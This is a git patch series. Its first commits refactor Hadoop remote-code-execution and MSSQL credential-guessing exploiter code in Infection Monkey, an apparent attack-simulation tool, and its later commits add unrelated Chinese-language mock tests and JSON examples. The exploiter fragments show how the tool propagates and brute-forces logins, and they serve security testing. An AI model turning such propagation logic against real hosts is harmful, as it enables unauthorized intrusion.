changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py b/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py index 16acca23b..5afcc74a6 100644 --- a/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py +++ b/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py @@ -104,5 +104,5 @@ class ScanEventHandler: if tcp_connections: self._node_repository.upsert_tcp_connections( - src_node.machine_id, {target_machine.id: tcp_connections} + src_node.machine_id, {target_machine.id: tuple(tcp_connections)} ) From 66f5d7a86a166e5fe932dd329baf4a8892ec23b4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 7 Oct 2022 08:35:24 -0400 Subject: [PATCH 131/144] Agent: Remove errant exploitation event from hadoop If no potential URLs are found, then no exploit is attempted, so there's no reason to publish an ExploitationEvent. --- monkey/infection_monkey/exploit/hadoop.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index c39533a3a..aeb70513e 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -57,7 +57,6 @@ class HadoopExploiter(WebRCE): self.exploit_result.error_message = ( f"No potential exploitable urls has been found for {self.host}" ) - self._publish_exploitation_event(False, error_message=self.exploit_result.error_message) return self.exploit_result monkey_path_on_victim = get_agent_dst_path(self.host) From a558948c5d0ca7093a7af34ff0be0709d783a0cd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 7 Oct 2022 08:43:05 -0400 Subject: [PATCH 132/144] Agent: Remove unnecessary `pass` from MSSQLExploiter --- monkey/infection_monkey/exploit/mssqlexec.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 72a250983..a6f8fd5ce 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -144,13 +144,12 @@ class MSSQLExploiter(HostExploiter): self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) self._report_login_attempt(timestamp, True, user, password) cursor = conn.cursor() + return cursor except pymssql.OperationalError as err: error_message = f"Connection to MSSQL failed: {err}" logger.info(error_message) self._report_login_attempt(timestamp, False, user, password, error_message) - # Combo didn't work, hopping to the next one - pass logger.warning( "No user/password combo was able to connect to host: {0}:{1}, " From 7a664218bda857ee3a5e9be963dcce6fe38ea450 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 7 Oct 2022 14:53:19 +0200 Subject: [PATCH 133/144] Agent: Check all potential urls in Hadoop --- monkey/infection_monkey/exploit/hadoop.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index aeb70513e..f2a65b563 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -67,11 +67,12 @@ class HadoopExploiter(WebRCE): command = self._build_command(monkey_path_on_victim, http_path) try: - - if self.exploit(potential_urls[0], command): - self.add_executed_cmd(command) - self.exploit_result.exploitation_success = True - self.exploit_result.propagation_success = True + for url in potential_urls: + if self.exploit(url, command): + self.add_executed_cmd(command) + self.exploit_result.exploitation_success = True + self.exploit_result.propagation_success = True + break finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() From 038283170164c0dddddd60d32c3cdfc941ac390b Mon Sep 17 00:00:00 2001 From: wutao Date: Mon, 10 Oct 2022 13:34:44 +0800 Subject: [PATCH 134/144] =?UTF-8?q?=E6=B5=8B=E8=AF=95=EF=BC=9A=E6=8F=90?= =?UTF-8?q?=E4=BA=A4=E4=BB=A3=E7=A0=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- zmtest04/test_mock.py | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 zmtest04/test_mock.py diff --git a/zmtest04/test_mock.py b/zmtest04/test_mock.py new file mode 100644 index 000000000..90467c5ac --- /dev/null +++ b/zmtest04/test_mock.py @@ -0,0 +1,21 @@ +import unittest +from mock import Mock + + +def VerifyPhone(): + ''' + 校验用户手机号 + ''' + pass + + +class TestVerifyPhone(unittest.TestCase): + + def test_verify_phone(self): + data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}} + VerifyPhone = Mock(return_value=data) + self.assertEqual("success", VerifyPhone()["msg"]["result"]) + print('测试用例') + +if __name__ == '__main__': + unittest.main(verbosity=2) From f5bfdc430cdcb4bfb0593d5e9d813475ecffd144 Mon Sep 17 00:00:00 2001 From: wutao Date: Mon, 10 Oct 2022 13:36:32 +0800 Subject: [PATCH 135/144] =?UTF-8?q?=E6=B5=8B=E8=AF=95=EF=BC=9A=E6=8F=90?= =?UTF-8?q?=E4=BA=A4=E4=BB=A3=E7=A0=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- zmtest05/test_mock.py | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 zmtest05/test_mock.py diff --git a/zmtest05/test_mock.py b/zmtest05/test_mock.py new file mode 100644 index 000000000..90467c5ac --- /dev/null +++ b/zmtest05/test_mock.py @@ -0,0 +1,21 @@ +import unittest +from mock import Mock + + +def VerifyPhone(): + ''' + 校验用户手机号 + ''' + pass + + +class TestVerifyPhone(unittest.TestCase): + + def test_verify_phone(self): + data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}} + VerifyPhone = Mock(return_value=data) + self.assertEqual("success", VerifyPhone()["msg"]["result"]) + print('测试用例') + +if __name__ == '__main__': + unittest.main(verbosity=2) From 4505399049426324d57d7bda7ff31da702720cb4 Mon Sep 17 00:00:00 2001 From: wutao Date: Mon, 10 Oct 2022 13:40:54 +0800 Subject: [PATCH 136/144] =?UTF-8?q?=E6=B5=8B=E8=AF=95=EF=BC=9A=E9=87=8D?= =?UTF-8?q?=E5=A4=8D=E6=8F=90=E4=BA=A4=E4=BB=A3=E7=A0=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- zmtest05 - 副本/test_mock.py | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 zmtest05 - 副本/test_mock.py diff --git a/zmtest05 - 副本/test_mock.py b/zmtest05 - 副本/test_mock.py new file mode 100644 index 000000000..90467c5ac --- /dev/null +++ b/zmtest05 - 副本/test_mock.py @@ -0,0 +1,21 @@ +import unittest +from mock import Mock + + +def VerifyPhone(): + ''' + 校验用户手机号 + ''' + pass + + +class TestVerifyPhone(unittest.TestCase): + + def test_verify_phone(self): + data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}} + VerifyPhone = Mock(return_value=data) + self.assertEqual("success", VerifyPhone()["msg"]["result"]) + print('测试用例') + +if __name__ == '__main__': + unittest.main(verbosity=2) From 9071fc90aa3c9c3a3f4255a6db4e226f6ae2fc16 Mon Sep 17 00:00:00 2001 From: p31829507 Date: Mon, 10 Oct 2022 14:38:31 +0800 Subject: [PATCH 137/144] Add test_dumps --- test_dumps | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 test_dumps diff --git a/test_dumps b/test_dumps new file mode 100644 index 000000000..7962d70a8 --- /dev/null +++ b/test_dumps @@ -0,0 +1,13 @@ +import json +data = { + 'name' : 'myname', + 'age' : 100, +} +# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了. +# dumps 将python对象字典转换为json字符串 +json_str = json.dumps(data, separators=(',', ':')) +print(type(json_str), json_str) + +# loads 将json字符串转化为python对象字典 +pyton_obj = json.loads(json_str) +print(type(pyton_obj), pyton_obj) \ No newline at end of file From de18b55417cc333008de4f90517092afc45aa31e Mon Sep 17 00:00:00 2001 From: p31829507 Date: Mon, 10 Oct 2022 14:39:32 +0800 Subject: [PATCH 138/144] Add test_dumps.py --- test_dumps.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 test_dumps.py diff --git a/test_dumps.py b/test_dumps.py new file mode 100644 index 000000000..7962d70a8 --- /dev/null +++ b/test_dumps.py @@ -0,0 +1,13 @@ +import json +data = { + 'name' : 'myname', + 'age' : 100, +} +# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了. +# dumps 将python对象字典转换为json字符串 +json_str = json.dumps(data, separators=(',', ':')) +print(type(json_str), json_str) + +# loads 将json字符串转化为python对象字典 +pyton_obj = json.loads(json_str) +print(type(pyton_obj), pyton_obj) \ No newline at end of file From 09b3b42dc5f85c8f6ec56ac3c8476254ec6b3aee Mon Sep 17 00:00:00 2001 From: p34709852 Date: Mon, 10 Oct 2022 14:48:05 +0800 Subject: [PATCH 139/144] ADD file via upload --- c/test_dumps.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 c/test_dumps.py diff --git a/c/test_dumps.py b/c/test_dumps.py new file mode 100644 index 000000000..aab84d61d --- /dev/null +++ b/c/test_dumps.py @@ -0,0 +1,13 @@ +import json +data = { + 'name' : 'myname', + 'age' : 100, +} +# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了. +# dumps 将python对象字典转换为json字符串 +json_str = json.dumps(data, separators=(',', ':')) +print(type(json_str), json_str) + +# loads 将json字符串转化为python对象字典 +pyton_obj = json.loads(json_str) +print(type(pyton_obj), pyton_obj) \ No newline at end of file From df137152036816762dd9c1dea04dd002b033cd65 Mon Sep 17 00:00:00 2001 From: p34709852 Date: Tue, 11 Oct 2022 11:24:10 +0800 Subject: [PATCH 140/144] ADD file via upload --- test_dumps01.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 test_dumps01.py diff --git a/test_dumps01.py b/test_dumps01.py new file mode 100644 index 000000000..aab84d61d --- /dev/null +++ b/test_dumps01.py @@ -0,0 +1,13 @@ +import json +data = { + 'name' : 'myname', + 'age' : 100, +} +# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了. +# dumps 将python对象字典转换为json字符串 +json_str = json.dumps(data, separators=(',', ':')) +print(type(json_str), json_str) + +# loads 将json字符串转化为python对象字典 +pyton_obj = json.loads(json_str) +print(type(pyton_obj), pyton_obj) \ No newline at end of file From 7e0f92802ade8a665d1420264ad30c9aa8ffd1b5 Mon Sep 17 00:00:00 2001 From: p34709852 Date: Tue, 11 Oct 2022 11:38:07 +0800 Subject: [PATCH 141/144] ADD file via upload --- test_dumps03.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 test_dumps03.py diff --git a/test_dumps03.py b/test_dumps03.py new file mode 100644 index 000000000..aab84d61d --- /dev/null +++ b/test_dumps03.py @@ -0,0 +1,13 @@ +import json +data = { + 'name' : 'myname', + 'age' : 100, +} +# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了. +# dumps 将python对象字典转换为json字符串 +json_str = json.dumps(data, separators=(',', ':')) +print(type(json_str), json_str) + +# loads 将json字符串转化为python对象字典 +pyton_obj = json.loads(json_str) +print(type(pyton_obj), pyton_obj) \ No newline at end of file From 628d21c68bf8d00eabf2380b18c1683c45a5a1af Mon Sep 17 00:00:00 2001 From: p34709852 Date: Tue, 11 Oct 2022 11:41:34 +0800 Subject: [PATCH 142/144] Add requirements.txt --- requirements.txt | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 requirements.txt diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 000000000..e7e6c837e --- /dev/null +++ b/requirements.txt @@ -0,0 +1,8 @@ +allure_python_commons==2.8.17 +jsonpath==0.82 +loguru==0.5.1 +pandas==1.1.5 +PyMouse==1.0 +pytest==6.2.5 +pywin32==301 +selenium==3.141.0 \ No newline at end of file From 59e5daecd87d315cf1c3d4f3965aeba07a685419 Mon Sep 17 00:00:00 2001 From: p15670423 Date: Tue, 11 Oct 2022 11:50:19 +0800 Subject: [PATCH 143/144] Update test_dumps03.py --- test_dumps03.py | 14 +------------- 1 file changed, 1 insertion(+), 13 deletions(-) diff --git a/test_dumps03.py b/test_dumps03.py index aab84d61d..882f8ef67 100644 --- a/test_dumps03.py +++ b/test_dumps03.py @@ -1,13 +1 @@ -import json -data = { - 'name' : 'myname', - 'age' : 100, -} -# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了. -# dumps 将python对象字典转换为json字符串 -json_str = json.dumps(data, separators=(',', ':')) -print(type(json_str), json_str) - -# loads 将json字符串转化为python对象字典 -pyton_obj = json.loads(json_str) -print(type(pyton_obj), pyton_obj) \ No newline at end of file +print('1111') \ No newline at end of file From 69e5b7d088150bf85c0c4d3f3c8c360fc39d1fa1 Mon Sep 17 00:00:00 2001 From: p34709852 Date: Tue, 11 Oct 2022 13:40:38 +0800 Subject: [PATCH 144/144] ADD file via upload --- test03.txt | 1 + 1 file changed, 1 insertion(+) create mode 100644 test03.txt diff --git a/test03.txt b/test03.txt new file mode 100644 index 000000000..2cb1bce11 --- /dev/null +++ b/test03.txt @@ -0,0 +1 @@ +双方都是的方法烦烦烦烦烦烦 \ No newline at end of file